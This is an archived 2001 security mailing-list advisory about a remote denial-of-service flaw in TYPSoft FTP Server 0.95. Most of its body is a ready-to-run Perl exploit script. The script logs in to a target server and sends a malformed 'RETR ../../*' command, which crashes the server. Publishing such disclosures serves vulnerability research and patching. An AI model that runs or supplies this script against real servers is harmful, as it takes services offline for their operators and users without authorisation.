[EXPL] TYPSoft FTP Server STOR/RETR Denial of Service Vulnerability

From: support@securiteam.com
Date: 10/16/01 

From: support@securiteam.com
To: list@securiteam.com
Subject: [EXPL] TYPSoft FTP Server STOR/RETR Denial of Service Vulnerability
Message-Id: <20011016092138.BD51A138C1@mail.der-keiler.de>
Date: Tue, 16 Oct 2001 11:21:38 +0200 (CEST)

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  TYPSoft FTP Server STOR/RETR Denial of Service Vulnerability
------------------------------------------------------------------------

SUMMARY

 <http://www.multimania.com/typsoft/eng/> TYPSoft FTP Server provides
administrators with a small and efficient FTP Server. A security
vulnerability in the product allows remote attackers to cause the server
to crash, effectively causing a denial of service attack.

DETAILS

Vulnerable systems:
TYPSoft FTP Server version 0.95

Exploit:
#!/usr/bin/perl

use IO::Socket;
use Socket;

print "-= ASGUARD LABS EXPLOIT - TYPSoft FTP Server v0.95 =-\n\n";

if($#ARGV < 2 | $#ARGV > 3) { die "usage: perl typ095DOS.pl <host> <user>
<pass> [port]\n" };
if($#ARGV > 2) { $prt = $ARGV[3] } else { $prt = "21" };

$adr = $ARGV[0];
$usr = $ARGV[1];
$pas = $ARGV[2];
$err = "RETR ../../*";

#Both works "STOR" and "RETR"

$remote = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$adr,
PeerPort=>$prt, Reuse=>1) or die "Error: can't connect to $adr:$prt\n";

$remote->autoflush(1);

print $remote "USER $usr\n" and print "1. Sending : USER $usr...\n" or die
"Error: can't send user\n";

print $remote "PASS $pas\n" and print "2. Sending : PASS $pas...\n" or
die
"Error: can't send pass\n";

print $remote "$err/\n" and print "3. Sending : ErrorCode...\n\n"or die
"Error: can't send error code\n";

print "Attack done. press any key to exit\n";
$bla= <STDIN>;
close $remote;

ADDITIONAL INFORMATION

The information has been provided by <mailto:jan.wagner@de.tiscali.com>
J. Wagner.

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